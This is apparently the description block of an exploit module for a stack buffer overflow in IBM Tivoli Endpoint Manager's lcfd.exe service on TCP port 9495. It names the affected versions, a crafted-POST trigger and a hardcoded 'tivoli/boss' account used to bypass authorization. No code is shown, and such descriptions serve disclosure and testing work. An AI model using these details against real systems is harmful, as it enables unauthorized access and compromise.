  					This module exploits a stack based buffer overflow in the way IBM Tivoli 
  				Endpoint Manager versions 3.7.1, 4.1, 4.1.1, 4.3.1 handles long POST query 
  				arguments.
  
  				This issue can be triggered by sending a specially crafted HTTP POST request to 
  			the service (lcfd.exe) listening on TCP port 9495. To trigger this issue authorization
  			is required. This exploit makes use of a second vulnerability, a hardcoded account 
  			(tivoli/boss) is used to bypass the authorization restriction.
